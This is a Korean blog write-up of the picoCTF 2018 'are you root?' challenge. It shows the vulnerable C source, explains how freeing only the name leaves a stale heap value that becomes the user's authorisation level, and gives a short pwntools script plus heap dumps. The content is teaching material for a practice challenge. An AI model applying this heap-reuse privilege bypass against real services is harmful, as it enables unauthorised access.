Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- string
- practicalmalwareanalysis
- Rookiss
- Bottle
- rev
- toddler
- BOF
- FSB
- reversing
- picoCTF
- PMA
- shellcode
- format
- CTF
- anti
- pwnable
- ASM
- pwnable.kr
- pico
- Reverse
- CANARY
- pwn
- TUCTF
- writeup
- Bug
- Read
- Toddler's Bottle
- 2018
- Leak
- shellcraft
Archives
- Today
- Total
제리의 블로그
picoCTF 2018 are you root? Binary Exploit 본문
are you root? - Points: 550 - (Solves: 253)
Description
Can you get root access through this service and get the flag?
Connect with nc 2018shell2.picoctf.com 41208.
Source.
Hint
If only the program used calloc to zero out the memory..
auth.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
typedef enum auth_level {
ANONYMOUS = 1,
GUEST = 2,
USER = 3,
ADMIN = 4,
ROOT = 5
} auth_level_t;
struct user {
char *name;
auth_level_t level;
};
void give_flag(){
char flag[48];
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
if ((fgets(flag, 48, f)) == NULL){
puts("Couldn't read flag file.");
exit(1);
};
puts(flag);
fclose(f);
}
void menu(){
puts("Available commands:");
puts("\tshow - show your current user and authorization level");
puts("\tlogin [name] - log in as [name]");
puts("\tset-auth [level] - set your authorization level (must be below 5)");
puts("\tget-flag - print the flag (requires authorization level 5)");
puts("\treset - log out and reset authorization level");
puts("\tquit - exit the program");
}
int main(int argc, char **argv){
char buf[512];
char *arg;
uint32_t level;
struct user *user;
setbuf(stdout, NULL);
menu();
user = NULL;
while(1){
puts("\nEnter your command:");
putchar('>'); putchar(' ');
if(fgets(buf, 512, stdin) == NULL)
break;
if (!strncmp(buf, "show", 4)){
if(user == NULL){
puts("Not logged in.");
}else{
printf("Logged in as %s [%u]\n", user->name, user->level);
}
}else if (!strncmp(buf, "login", 5)){
if (user != NULL){
puts("Already logged in. Reset first.");
continue;
}
arg = strtok(&buf[6], "\n");
if (arg == NULL){
puts("Invalid command");
continue;
}
user = (struct user *)malloc(sizeof(struct user));
if (user == NULL) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
user->name = strdup(arg);
printf("Logged in as \"%s\"\n", arg);
}else if(!strncmp(buf, "set-auth", 8)){
if(user == NULL){
puts("Login first.");
continue;
}
arg = strtok(&buf[9], "\n");
if (arg == NULL){
puts("Invalid command");
continue;
}
level = strtoul(arg, NULL, 10);
if (level >= 5){
puts("Can only set authorization level below 5");
continue;
}
user->level = level;
printf("Set authorization level to \"%u\"\n", level);
}else if(!strncmp(buf, "get-flag", 8)){
if (user == NULL){
puts("Login first!");
continue;
}
if (user->level != 5){
puts("Must have authorization level 5.");
continue;
}
give_flag();
}else if(!strncmp(buf, "reset", 5)){
if (user == NULL){
puts("Not logged in!");
continue;
}
free(user->name);
user = NULL;
puts("Logged out!");
}else if(!strncmp(buf, "quit", 4)){
return 0;
}else{
puts("Invalid option");
menu();
}
}
}
분석
$ file *
auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
auth.c: C source, ASCII text
바이너리와 소스코드가 주어져있다.$ ./auth
Available commands:
show - show your current user and authorization level
login [name] - log in as [name]
set-auth [level] - set your authorization level (must be below 5)
get-flag - print the flag (requires authorization level 5)
reset - log out and reset authorization level
quit - exit the program
Enter your command:
>
실행해보았더니show, login, set-auth, get-flag, reset, quit
6개의 명령이 있다는 것을 알 수 있다.
if (!strncmp(buf, "show", 4)){
if(user == NULL){
puts("Not logged in.");
}else{
printf("Logged in as %s [%u]\n", user->name, user->level);
}
show 명령은 user의 name 과 level 을 알려준다. }else if (!strncmp(buf, "login", 5)){
if (user != NULL){
puts("Already logged in. Reset first.");
continue;
}
arg = strtok(&buf[6], "\n");
if (arg == NULL){
puts("Invalid command");
continue;
}
user = (struct user *)malloc(sizeof(struct user));
if (user == NULL) {
puts("malloc() returned NULL. Out of Memory\n");
exit(-1);
}
user->name = strdup(arg);
printf("Logged in as \"%s\"\n", arg);
}
login 명령은 구조체 user 과 name을 힙에 할당한다.(name 을 할당할 때에는 strdup() 함수를 사용하기 때문에 길이에 따라 할당하게 된다.)
}else if(!strncmp(buf, "set-auth", 8)){
if(user == NULL){
puts("Login first.");
continue;
}
arg = strtok(&buf[9], "\n");
if (arg == NULL){
puts("Invalid command");
continue;
}
level = strtoul(arg, NULL, 10);
if (level >= 5){
puts("Can only set authorization level below 5");
continue;
}
user->level = level;
printf("Set authorization level to \"%u\"\n", level);
}
set-auth 명령은 level 을 설정하지만ROOT 권한(5)은 설정할 수 없도록 막아놨다.
}else if(!strncmp(buf, "get-flag", 8)){
if (user == NULL){
puts("Login first!");
continue;
}
if (user->level != 5){
puts("Must have authorization level 5.");
continue;
}
give_flag();
}
get-flag 명령은 level 5 일 때만 할 수 있다. }else if(!strncmp(buf, "reset", 5)){
if (user == NULL){
puts("Not logged in!");
continue;
}
free(user->name);
user = NULL;
puts("Logged out!");
}
reset 명령은 user 와 name 을 정리한다.주목해야할 점은 힙에 할당된 user 와 name 중
name 만 free 하고 있었다.
if(fgets(buf, 512, stdin) == NULL)
break;
입력받는 함수가 fgets 라서 0x00(NULL) 을 포함한 페이로드를 넣을 수 있다.(그런데 0x00 고려 안해도 풀 수 있는 문제이긴 하다.)
exploit
from pwn import *
r = remote('2018shell2.picoctf.com', 41208)
r.recvuntil('> ')
r.sendline('login ' + 'A'*8 + p32(5))
r.recvuntil('> ')
r.sendline('reset')
r.recvuntil('> ')
r.sendline('login B')
r.recvuntil('> ')
r.sendline('get-flag')
r.interactive()
"login AAAAAAAA" + p32(5)
user = (struct user *)malloc(sizeof(struct user));
user->name = strdup(arg);
00A7C260 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C270 90 C2 A7 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00A7C280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C290 41 41 41 41 41 41 41 41 05 00 00 00 00 00 00 00 AAAAAAAA........
00A7C2A0 00 00 00 00 00 00 00 00 61 FD 01 00 00 00 00 00 ........a.......
login 을 하게되면user 구조체를 먼저 힙에 할당하고 (0xA7C270)
그 다음 name 을 할당한다. (0xA7C90)
"reset"
free(user->name);
00A7C260 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C270 90 C2 A7 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00A7C280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C290 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 ................
00A7C2A0 00 00 00 00 00 00 00 00 61 FD 01 00 00 00 00 00 ........a.......
reset 을 하면힙에 할당된 user 구조체와 name 문자열 중
name 만 free 한다.
"login B"
user = (struct user *)malloc(sizeof(struct user));
user->name = strdup(arg);
00A7C260 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C270 90 C2 A7 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00A7C280 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C290 B0 C2 A7 00 00 00 00 00 05 00 00 00 00 00 00 00 ................
00A7C2A0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!.......
00A7C2B0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B...............
00A7C2C0 00 00 00 00 00 00 00 00 41 FD 01 00 00 00 00 00 ........A.......
다시 login 을 하게되면free 되었던 자리에 user 구조체가 선언이되는데
0xA7C298 에 있었던 쓰레기값 5 가 user->level 가 되어
조건을 만족한다.
struct user {
char *name;
auth_level_t level;
};
구조체의 정의를 보면멤버 변수 name 과 level 이 있는데
멤버 변수의 크기가 8 바이트이기 때문에 (64비트 주소값)
user 구조체의 +8 바이트에 위치한 값이 level 이 된다.
if (user->level != 5){
puts("Must have authorization level 5.");
continue;
}
give_flag();
give_flag() 함수가 실행되면서 플래그가 나오게 된다.'CTF > pwnable' 카테고리의 다른 글
TUCTF 2018 PWN ehh (0) | 2018.11.26 |
---|---|
TUCTF 2018 PWN shella-easy (0) | 2018.11.26 |
SECCON CTF 2018 quals Classic Pwn (0) | 2018.10.28 |
hacklu CTF 2018 Baby Reverse (0) | 2018.10.16 |
picoCTF 2018 echo back Binary Exploitation (0) | 2018.10.16 |
Comments